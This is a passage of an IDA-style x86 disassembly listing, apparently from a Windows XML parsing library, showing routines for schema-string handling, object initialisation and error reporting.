		jl	short loc_69B5B8B5


loc_69B5B88D:				; CODE XREF: sub_69B5B878+3Bj
		mov	eax, [esi]
		mov	eax, [eax+8]
		mov	eax, [eax+edi*4]
		shl	eax, 6
		push	dword_69B96138[eax]
		call	sub_69B48CB0
		cmp	eax, [esp+8+arg_0]
		mov	eax, [esi]
		mov	eax, [eax+8]
		jz	short loc_69B5B8BC
		inc	edi
		cmp	dword ptr [eax+edi*4], 0
		jge	short loc_69B5B88D


loc_69B5B8B5:				; CODE XREF: sub_69B5B878+Aj
					; sub_69B5B878+13j
		xor	al, al


loc_69B5B8B7:				; CODE XREF: sub_69B5B878+54j
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B5B8BC:				; CODE XREF: sub_69B5B878+34j
		mov	eax, [eax+edi*4]
		shl	eax, 6
		add	eax, offset dword_69B96138
		mov	[esi+4], eax
		mov	al, 1
		jmp	short loc_69B5B8B7
sub_69B5B878	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B8CE	proc near		; CODE XREF: sub_69B5BDC8+49p
					; sub_69B5C076+84p
		push	38h
		push	offset dword_69B5B988
		call	sub_69B19C5C
		mov	[ebp-1Ch], ecx
		and	dword ptr [ebp-4], 0
		and	word ptr [ebp-2Ch], 0
		or	dword ptr [ebp-30h], 0FFFFFFFFh
		mov	esi, [ebp+8]
		mov	eax, [esi+24h]
		mov	[ebp-34h], eax
		mov	ecx, [esi+28h]
		mov	[ebp-38h], ecx
		mov	edi, [ebp+0Ch]
		mov	edx, [edi+8]
		mov	[ebp-3Ch], edx
		mov	ebx, [edi+0Ch]
		mov	[ebp-40h], ebx
		lea	ebx, [ebp-30h]
		push	ebx		; int
		push	0		; int
		lea	ebx, [ebp-2Ch]
		push	ebx		; pvar
		push	eax		; int
		push	ecx		; int
		push	dword ptr [ebp+10h] ; int
		push	edx		; cElements
		push	dword ptr [ebp-40h] ; int
		call	sub_69B30DEE
		mov	eax, ebx
		push	eax		; pvarg
		call	VariantClear
		cmp	dword ptr [ebp+10h], 0Ch
		jge	short loc_69B5B97C
		push	1
		push	edi
		push	dword ptr [ebp+10h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+44h]
		call	sub_69B4DE11
		mov	[ebp-44h], eax
		push	eax
		mov	ecx, esi
		call	sub_69B8CC82
		lea	eax, [esi+2Ch]
		mov	[ebp-48h], eax
		push	dword ptr [ebp-44h]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B5B97C
; ---------------------------------------------------------------------------


loc_69B5B95C:				; DATA XREF: .text:69B5B98Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5B965:				; DATA XREF: .text:69B5B990o
		mov	esp, [ebp-18h]
		push	0
		push	dword ptr [ebp+0Ch]
		mov	eax, 0C00CE11Bh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B5B97C:				; CODE XREF: sub_69B5B8CE+5Fj
					; sub_69B5B8CE+8Cj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	0Ch
sub_69B5B8CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B5B988	dd 0FFFFFFFFh			dd offset loc_69B5B95C
		dd offset loc_69B5B965

; =============== S U B	R O U T	I N E =======================================



sub_69B5B994	proc near		; CODE XREF: sub_69B5BE84+7p
					; sub_69B5BEB9+7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, [eax+8]
		mov	eax, dword_69B95AB8
		xor	ebx, ebx
		cmp	dword ptr [eax+8], 13h
		push	edi
		mov	edi, eax
		jg	short loc_69B5B9B7
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5B9B7:				; CODE XREF: sub_69B5B994+17j
		cmp	[edi+58h], esi
		jnz	short loc_69B5B9C0
		mov	bl, 1
		jmp	short loc_69B5B9E2
; ---------------------------------------------------------------------------


loc_69B5B9C0:				; CODE XREF: sub_69B5B994+26j
		cmp	dword ptr [eax+8], 14h
		mov	edi, eax
		jg	short loc_69B5B9CD
		call	sub_69B2E6D8


loc_69B5B9CD:				; CODE XREF: sub_69B5B994+32j
		cmp	[edi+5Ch], esi
		jz	short loc_69B5B9E2
		mov	eax, 0C00CE111h
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5B9E2:				; CODE XREF: sub_69B5B994+2Aj
					; sub_69B5B994+3Cj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		retn	4
sub_69B5B994	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B9EA	proc near		; CODE XREF: sub_69B4FDBC+3BEp
					; .text:69B5BAC6p ...
		push	18h
		push	offset dword_69B5BAA0
		call	sub_69B19C5C
		mov	esi, [ebp+0Ch]
		mov	eax, [esi+8]
		lea	eax, [eax+eax+16h]
		push	eax
		call	sub_69B11E44
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5BA21
		push	ebx
		mov	eax, 8007000Eh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5BA21:				; CODE XREF: sub_69B5B9EA+25j
		mov	[ebp-4], ebx
		push	offset aXSchema_0 ; "x-schema:#"
		push	edi		; psz1
		call	ds:StrCpyW	; StrCpyW
		mov	esi, [esi+0Ch]
		mov	[ebp-20h], esi
		push	esi		; psz2
		push	edi		; psz1
		call	ds:StrCatW	; StrCatW
		mov	eax, [ebp+8]
		mov	ecx, [eax+70h]
		mov	[ebp-24h], ecx
		push	0FFFFFFFFh	; int
		push	edi		; lpString
		push	ebx		; int
		call	sub_69B4D394
		mov	[ebp-28h], eax
		jmp	short loc_69B5BA6F
; ---------------------------------------------------------------------------


loc_69B5BA55:				; DATA XREF: .text:69B5BAA4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5BA5E:				; DATA XREF: .text:69B5BAA8o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-1Ch]
		push	edi
		call	sub_69B1B2B7
		call	sub_69B2E860


loc_69B5BA6F:				; CODE XREF: sub_69B5B9EA+69j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	edi
		call	sub_69B1B2B7
		mov	eax, [ebp-28h]
		call	sub_69B1853C
		retn	8
sub_69B5B9EA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; const	WCHAR aXSchema_0
aXSchema_0:				; DATA XREF: sub_69B5B9EA+3Ao
		unicode	0, <x-schema:#>,0
		align 10h
dword_69B5BAA0	dd 0FFFFFFFFh			dd offset loc_69B5BA55
		dd offset loc_69B5BA5E
; ---------------------------------------------------------------------------


loc_69B5BAAC:				; DATA XREF: sub_69B114F6+8o
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+48h], 0
		jz	short loc_69B5BB09
		mov	ecx, [esp+0Ch]
		mov	eax, [ecx]
		push	ebx
		push	edi
		call	dword ptr [eax+2Ch]
		mov	ebx, eax
		push	ebx
		push	dword ptr [esi+4Ch]
		call	sub_69B5B9EA
		push	eax
		lea	edi, [esi+54h]
		push	edi
		call	sub_69B17320
		mov	ecx, [esi+3Ch]
		push	dword ptr [edi]
		add	ecx, 1Ch
		call	sub_69B3BD1A
		test	eax, eax
		jz	short loc_69B5BAFA
		push	0
		mov	eax, 0C00CE13Ah
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B5BB07
; ---------------------------------------------------------------------------


loc_69B5BAFA:				; CODE XREF: .text:69B5BAE4j
		mov	ecx, [esi+3Ch]
		push	dword ptr [edi]
		add	ecx, 1Ch
		call	sub_69B5A954


loc_69B5BB07:				; CODE XREF: .text:69B5BAF8j
		pop	edi
		pop	ebx


loc_69B5BB09:				; CODE XREF: .text:69B5BAB3j
		pop	esi
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_69B5BB0D	proc near		; CODE XREF: sub_69B5C1D0-619p
					; sub_69B5BBC0+3p ...
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, ecx
		push	ebx
		push	esi
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		xor	eax, eax
		inc	eax
		mov	[esi+10h], eax
		mov	[esi+14h], eax
		mov	[esi+18h], bl
		mov	[esi+1Ch], ebx
		mov	[esi+24h], ebx
		push	ebx
		add	esi, 20h
		push	esi
		call	sub_69B17320
		pop	esi
		pop	ebx
		retn
sub_69B5BB0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BB57	proc near		; CODE XREF: sub_69B5CB6E+B7p
					; sub_69B5CB6E+D2p
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+20h], 0
		jle	short loc_69B5BB77
		mov	ecx, [esi+1Ch]
		call	sub_69B8A208
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+20h], 0


loc_69B5BB77:				; CODE XREF: sub_69B5BB57+7j
		pop	esi
		retn
sub_69B5BB57	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BB79	proc near		; CODE XREF: sub_69B5C19B+Bp

arg_0		= dword	ptr  4

		push	14h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B5BB89
		and	dword ptr [eax], 0
		jmp	short loc_69B5BB8B
; ---------------------------------------------------------------------------


loc_69B5BB89:				; CODE XREF: sub_69B5BB79+9j
		xor	eax, eax


loc_69B5BB8B:				; CODE XREF: sub_69B5BB79+Ej
		mov	ecx, [esp+arg_0]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	ecx, [ecx+10h]
		mov	[eax+10h], ecx
		retn	4
sub_69B5BB79	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B5C1D0


loc_69B5BBA4:				; CODE XREF: sub_69B5C1D0+Dj
		xor	eax, eax
		push	esi
		mov	esi, ecx
		mov	[esi], eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		mov	[esi+20h], eax
		call	sub_69B5BB0D
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B5C1D0

; =============== S U B	R O U T	I N E =======================================



sub_69B5BBC0	proc near		; CODE XREF: sub_69B5BEDE+85p
					; sub_69B5BEDE+A2p ...
		push	esi
		mov	esi, ecx
		call	sub_69B5BB0D
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17230
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B5BBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5BBF4	proc near		; CODE XREF: sub_69B5CB6E+69p
					; sub_69B5CDA6+83p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	0Ah
		push	4
		lea	ecx, [esi+8]
		call	sub_69B88ED8
		push	1
		push	4
		lea	ecx, [esi+1Ch]
		call	sub_69B88ED8
		xor	ebx, ebx
		mov	[esi+30h], ebx
		lea	ecx, [esi+38h]
		mov	[ecx], ebx
		lea	eax, [esi+7Ch]
		lea	edi, [esi+54h]
		mov	[edi], ebx
		mov	[esi+58h], ebx
		mov	[esi+78h], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+28h], ebx
		mov	al, [ebp+arg_18]
		mov	[esi+0ACh], ebx
		mov	[esi+48h], al
		mov	eax, [ebp+arg_10]
		cmp	eax, dword_69B95A18
		jnz	short loc_69B5BC4E
		mov	[ebp+arg_10], ebx


loc_69B5BC4E:				; CODE XREF: sub_69B5BBF4+55j
		push	[ebp+arg_0]
		push	ecx
		call	sub_69B17320
		cmp	[esi+48h], bl
		mov	eax, [ebp+arg_4]
		mov	[esi+3Ch], eax
		mov	eax, [ebp+arg_14]
		mov	[esi+4Ch], eax
		jnz	short loc_69B5BC73
		cmp	[ebp+arg_0], ebx
		jz	short loc_69B5BC73
		mov	eax, [eax+0D0h]


loc_69B5BC73:				; CODE XREF: sub_69B5BBF4+72j
					; sub_69B5BBF4+77j
		push	[ebp+arg_10]
		mov	[esi+50h], eax
		mov	al, [eax+82h]
		mov	[esi+36h], al
		mov	eax, [ebp+arg_8]
		mov	[esi+40h], eax
		mov	eax, [ebp+arg_C]
		push	edi
		mov	[esi+44h], eax
		call	sub_69B17320
		pop	edi
		mov	[esi+0C4h], ebx
		mov	[esi+0C0h], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	1Ch
sub_69B5BBF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BCA9	proc near		; CODE XREF: sub_69B5CAA5+24p
					; sub_69B5CD56+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, ecx
		cmp	[esi+35h], bl
		mov	[esp+0Ch+var_4], ebx
		jnz	loc_69B5BD82
		push	ebp
		push	edi
		mov	edi, [esp+14h+arg_0]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	ebp, eax
		mov	eax, [ebp+10h]
		cmp	eax, dword_69B95A34
		jnz	short loc_69B5BCED
		push	dword_69B95A3C
		mov	eax, [ebp+0]
		mov	ecx, ebp
		call	dword ptr [eax+2Ch]
		push	eax
		call	sub_69B192B7
		mov	ebp, eax


loc_69B5BCED:				; CODE XREF: sub_69B5BCA9+2Cj
		cmp	[esi+34h], bl
		jz	short loc_69B5BD52
		push	ebp
		mov	ecx, esi
		call	sub_69B5B878
		test	al, al
		mov	ecx, esi
		jz	short loc_69B5BD17
		call	sub_69B5AC74
		mov	eax, [esi]
		cmp	[eax+10h], ebx
		jz	short loc_69B5BD80
		mov	ecx, [eax+14h]
		push	edi
		add	ecx, esi
		call	dword ptr [eax+10h]
		jmp	short loc_69B5BD80
; ---------------------------------------------------------------------------


loc_69B5BD17:				; CODE XREF: sub_69B5BCA9+55j
		push	ebp
		call	sub_69B5B77F
		test	al, al
		jz	short loc_69B5BD31
		mov	byte ptr [esi+35h], 1
		push	edi
		add	esi, 30h
		push	esi
		call	sub_69B17320
		jmp	short loc_69B5BD80
; ---------------------------------------------------------------------------


loc_69B5BD31:				; CODE XREF: sub_69B5BCA9+76j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	edx, [eax]
		push	ebx
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		mov	eax, 0C00CE102h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B5BD80
; ---------------------------------------------------------------------------


loc_69B5BD52:				; CODE XREF: sub_69B5BCA9+47j
		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 20h
		mov	edi, eax
		jg	short loc_69B5BD64
		call	sub_69B2E6D8


loc_69B5BD64:				; CODE XREF: sub_69B5BCA9+B4j
		cmp	[edi+8Ch], ebp
		jnz	short loc_69B5BD78
		mov	byte ptr [esi+34h], 1
		mov	dword ptr [esi], offset	dword_69B96138
		jmp	short loc_69B5BD80
; ---------------------------------------------------------------------------


loc_69B5BD78:				; CODE XREF: sub_69B5BCA9+C1j
		mov	[esp+14h+var_4], 0C00CE101h


loc_69B5BD80:				; CODE XREF: sub_69B5BCA9+61j
					; sub_69B5BCA9+6Cj ...
		pop	edi
		pop	ebp


loc_69B5BD82:				; CODE XREF: sub_69B5BCA9+Ej
		mov	eax, [esp+0Ch+var_4]
		pop	esi
		pop	ebx
		pop	ecx
		retn	4
sub_69B5BCA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BD8C	proc near		; CODE XREF: sub_69B5CAA5+91p
					; sub_69B5CCE6+32p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+35h], cl
		jnz	short loc_69B5BDB6
		mov	eax, [esi]
		cmp	[eax+30h], ecx
		jz	short loc_69B5BDAD
		push	[esp+4+arg_4]
		mov	ecx, [eax+34h]
		push	[esp+8+arg_0]
		add	ecx, esi
		call	dword ptr [eax+30h]


loc_69B5BDAD:				; CODE XREF: sub_69B5BD8C+Fj
		mov	ecx, esi
		call	sub_69B5B01B
		jmp	short loc_69B5BDC2
; ---------------------------------------------------------------------------


loc_69B5BDB6:				; CODE XREF: sub_69B5BD8C+8j
		mov	eax, [esp+4+arg_4]
		cmp	eax, [esi+30h]
		jnz	short loc_69B5BDC2
		mov	[esi+35h], cl


loc_69B5BDC2:				; CODE XREF: sub_69B5BD8C+28j
					; sub_69B5BD8C+31j
		xor	eax, eax
		pop	esi
		retn	8
sub_69B5BD8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5BDC8	proc near		; CODE XREF: sub_69B5BEDE+66p
					; sub_69B5C2C9+5Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		cmp	dword ptr [esi+8], 0
		push	edi
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		jnz	short loc_69B5BDE3
		cmp	dword ptr [edi+2Ch], 0
		jz	short loc_69B5BE5F


loc_69B5BDE3:				; CODE XREF: sub_69B5BDC8+13j
		push	ebx
		mov	ecx, edi
		call	sub_69B8C6AD
		mov	[ebp+arg_4], eax
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_69B5BE18
		push	eax
		lea	eax, [edi+2Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, [esi+8]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	[ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ebx, eax
		push	ebx
		push	edi
		call	sub_69B5B8CE
		jmp	short loc_69B5BE22
; ---------------------------------------------------------------------------


loc_69B5BE18:				; CODE XREF: sub_69B5BDC8+2Bj
		mov	ecx, [edi+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ebx, eax


loc_69B5BE22:				; CODE XREF: sub_69B5BDC8+4Ej
		cmp	byte ptr [esi+18h], 0
		jz	short loc_69B5BE2D
		mov	eax, [esi+1Ch]
		jmp	short loc_69B5BE33
; ---------------------------------------------------------------------------


loc_69B5BE2D:				; CODE XREF: sub_69B5BDC8+5Ej
		mov	eax, [ebp+var_4]
		mov	eax, [eax+58h]


loc_69B5BE33:				; CODE XREF: sub_69B5BDC8+63j
		cmp	byte ptr [edi+31h], 0
		mov	[ebp+arg_4], eax
		jnz	short loc_69B5BE52
		push	dword ptr [esi+4]
		mov	ecx, [ebp+var_4]
		push	edi
		push	eax
		push	dword ptr [ebx+8]
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_0]
		call	sub_69B5B558


loc_69B5BE52:				; CODE XREF: sub_69B5BDC8+72j
		push	1
		push	[ebp+arg_4]
		mov	ecx, edi
		call	sub_69B8CDCB
		pop	ebx


loc_69B5BE5F:				; CODE XREF: sub_69B5BDC8+19j
		cmp	dword ptr [esi+14h], 1
		mov	ecx, [ebp+var_4]
		setz	al
		push	eax
		push	edi
		call	sub_69B5AE2D
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B5BDC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BE76	proc near		; DATA XREF: sub_69B119AE+189o
		mov	ecx, [ecx+0C4h]
		call	sub_69B5BB0D
		retn	8
sub_69B5BE76	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BE84	proc near		; DATA XREF: sub_69B117C2+26o

arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_69B5B994
		test	al, al
		jz	short loc_69B5BEA1
		mov	eax, [esi+0C4h]
		mov	dword ptr [eax+14h], 1


loc_69B5BEA1:				; CODE XREF: sub_69B5BE84+Ej
		pop	esi
		retn	8
sub_69B5BE84	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BEA5	proc near		; CODE XREF: sub_69B5C589+D3p
					; DATA XREF: sub_69B11555+7Ao

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	eax, [eax+8]
		push	eax
		mov	byte ptr [ecx+60h], 1
		call	sub_69B5B4D2
		retn	8
sub_69B5BEA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BEB9	proc near		; DATA XREF: sub_69B1165C+5Eo

arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_69B5B994
		mov	[esi+81h], al
		pop	esi
		retn	8
sub_69B5BEB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5BECF	proc near		; DATA XREF: sub_69B1183D+8o

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	dword ptr [eax+8]
		call	sub_69B5B4D2
		retn	8
sub_69B5BECF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5BEDE	proc near		; DATA XREF: sub_69B119AE+91o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+0C0h]
		test	edi, edi
		jz	loc_69B5BFAD
		cmp	dword ptr [esi+78h], 0
		jz	loc_69B5BFAD
		test	edi, edi
		mov	[ebp+var_4], edi
		jz	loc_69B5BFAD
		push	ebx


loc_69B5BF0B:				; CODE XREF: sub_69B5BEDE+C8j
		mov	eax, [edi+1Ch]
		cmp	eax, [esi+58h]
		jnz	short loc_69B5BF90
		mov	eax, [edi+4]
		mov	ebx, [eax+8]
		mov	ecx, [esi+78h]
		push	ebx
		call	sub_69B1980A
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_69B5BF90
		mov	ecx, [edi+20h]
		push	eax
		call	sub_69B8CF4E
		mov	ecx, [edi+20h]
		push	ebx
		call	sub_69B5AF7A
		push	[ebp+var_8]
		mov	ecx, esi
		push	edi
		push	[ebp+arg_0]
		call	sub_69B5BDC8
		cmp	edi, [esi+0C0h]
		jnz	short loc_69B5BF75
		cmp	[ebp+var_4], 0
		mov	edi, [edi+24h]
		mov	[esi+0C0h], edi
		jz	short loc_69B5BF70
		mov	ecx, [ebp+var_4]
		call	sub_69B5BBC0
		push	[ebp+var_4]
		call	sub_69B1B2B7


loc_69B5BF70:				; CODE XREF: sub_69B5BEDE+80j
		mov	[ebp+var_4], edi
		jmp	short loc_69B5BFA4
; ---------------------------------------------------------------------------


loc_69B5BF75:				; CODE XREF: sub_69B5BEDE+71j
		mov	eax, [edi+24h]
		mov	ebx, [ebp+var_4]
		mov	ecx, edi
		mov	[ebx+24h], eax
		call	sub_69B5BBC0
		push	edi
		call	sub_69B1B2B7
		mov	edi, [ebx+24h]
		jmp	short loc_69B5BFA4
; ---------------------------------------------------------------------------


loc_69B5BF90:				; CODE XREF: sub_69B5BEDE+33j
					; sub_69B5BEDE+49j
		cmp	edi, [esi+0C0h]
		jz	short loc_69B5BFA1
		mov	eax, [ebp+var_4]
		mov	eax, [eax+24h]
		mov	[ebp+var_4], eax


loc_69B5BFA1:				; CODE XREF: sub_69B5BEDE+B8j
		mov	edi, [edi+24h]


loc_69B5BFA4:				; CODE XREF: sub_69B5BEDE+95j
					; sub_69B5BEDE+B0j
		test	edi, edi
		jnz	loc_69B5BF0B
		pop	ebx


loc_69B5BFAD:				; CODE XREF: sub_69B5BEDE+11j
					; sub_69B5BEDE+1Bj ...
		cmp	byte ptr [esi+62h], 0
		jz	short loc_69B5C008
		cmp	byte ptr [esi+63h], 0
		jnz	short loc_69B5BFE9
		mov	eax, [esi+58h]
		mov	eax, [eax+2Ch]
		cmp	byte ptr [eax+8], 0
		jz	short loc_69B5C024
		mov	byte ptr [eax+28h], 4
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		mov	edi, eax
		jg	short loc_69B5BFDB
		call	sub_69B2E6D8


loc_69B5BFDB:				; CODE XREF: sub_69B5BEDE+F6j
		mov	eax, [esi+58h]
		push	dword ptr [edi+10h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8FF0A


loc_69B5BFE9:				; CODE XREF: sub_69B5BEDE+D9j
		mov	eax, [esi+58h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8F5A8
		cmp	dword ptr [esi+0BCh], 2
		jnz	short loc_69B5C008
		mov	eax, [esi+58h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8FFB1


loc_69B5C008:				; CODE XREF: sub_69B5BEDE+D3j
					; sub_69B5BEDE+11Dj
		lea	edi, [esi+58h]
		mov	ecx, [edi]
		call	sub_69B8C6AD
		cmp	eax, 0Ah
		jnz	short loc_69B5C02B
		cmp	byte ptr [esi+67h], 0
		jnz	short loc_69B5C044
		mov	eax, 0C00CE115h
		jmp	short loc_69B5C036
; ---------------------------------------------------------------------------


loc_69B5C024:				; CODE XREF: sub_69B5BEDE+E5j
		mov	eax, 0C00CE10Bh
		jmp	short loc_69B5C036
; ---------------------------------------------------------------------------


loc_69B5C02B:				; CODE XREF: sub_69B5BEDE+137j
		cmp	byte ptr [esi+67h], 0
		jz	short loc_69B5C044
		mov	eax, 0C00CE114h


loc_69B5C036:				; CODE XREF: sub_69B5BEDE+144j
					; sub_69B5BEDE+14Bj
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B5C070
; ---------------------------------------------------------------------------


loc_69B5C044:				; CODE XREF: sub_69B5BEDE+13Dj
					; sub_69B5BEDE+151j
		push	dword ptr [esi+70h]
		mov	ecx, esi
		push	dword ptr [esi+74h]
		push	dword ptr [edi]
		call	sub_69B5AB99
		mov	eax, [edi]
		mov	ecx, [eax+2Ch]
		call	sub_69B8FBCF
		push	0
		push	edi
		call	sub_69B17320
		push	0
		add	esi, 78h
		push	esi
		call	sub_69B17320


loc_69B5C070:				; CODE XREF: sub_69B5BEDE+164j
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B5BEDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C076	proc near		; CODE XREF: sub_69B5C715+5Bp
					; DATA XREF: sub_69B119AE+E5o
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+7Ch]
		mov	ecx, [edi]
		call	sub_69B8C6AD
		mov	ebx, eax
		cmp	ebx, 0Ah
		jnz	short loc_69B5C09C
		cmp	byte ptr [esi+9Ch], 0
		jnz	short loc_69B5C0AC
		mov	eax, 0C00CE115h
		jmp	short loc_69B5C0BF
; ---------------------------------------------------------------------------


loc_69B5C09C:				; CODE XREF: sub_69B5C076+14j
		cmp	byte ptr [esi+9Ch], 0
		jz	short loc_69B5C0AC
		mov	eax, 0C00CE114h
		jmp	short loc_69B5C0BF
; ---------------------------------------------------------------------------


loc_69B5C0AC:				; CODE XREF: sub_69B5C076+1Dj
					; sub_69B5C076+2Dj
		cmp	byte ptr [esi+82h], 0
		jz	short loc_69B5C0CD
		cmp	ebx, 2
		jnz	short loc_69B5C0CD
		mov	eax, 0C00CE023h


loc_69B5C0BF:				; CODE XREF: sub_69B5C076+24j
					; sub_69B5C076+34j
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B5C128
; ---------------------------------------------------------------------------


loc_69B5C0CD:				; CODE XREF: sub_69B5C076+3Dj
					; sub_69B5C076+42j
		push	dword ptr [esi+94h]
		mov	ecx, esi
		push	dword ptr [esi+98h]
		push	dword ptr [edi]
		call	sub_69B5AB99
		mov	eax, [edi]
		cmp	dword ptr [eax+2Ch], 0
		jz	short loc_69B5C100
		push	ebp
		mov	ebp, eax
		mov	ecx, [ebp+2Ch]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+2Ch]
		push	eax
		push	ebp
		mov	ecx, esi
		call	sub_69B5B8CE
		pop	ebp


loc_69B5C100:				; CODE XREF: sub_69B5C076+72j
		xor	eax, eax
		mov	al, [esi+81h]
		mov	ecx, esi
		push	eax
		push	dword ptr [edi]
		call	sub_69B5AE2D
		push	0
		add	esi, 84h
		push	esi
		call	sub_69B17320
		push	0
		push	edi
		call	sub_69B17320


loc_69B5C128:				; CODE XREF: sub_69B5C076+55j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B5C076	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C12E	proc near		; DATA XREF: sub_69B119AE+1DDo
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+63h], 0
		jnz	short loc_69B5C13E
		mov	eax, 0C00CE10Bh
		jmp	short loc_69B5C169
; ---------------------------------------------------------------------------


loc_69B5C13E:				; CODE XREF: sub_69B5C12E+7j
		mov	eax, [esi+58h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8F5A8
		cmp	dword ptr [esi+0BCh], 2
		jnz	short loc_69B5C177
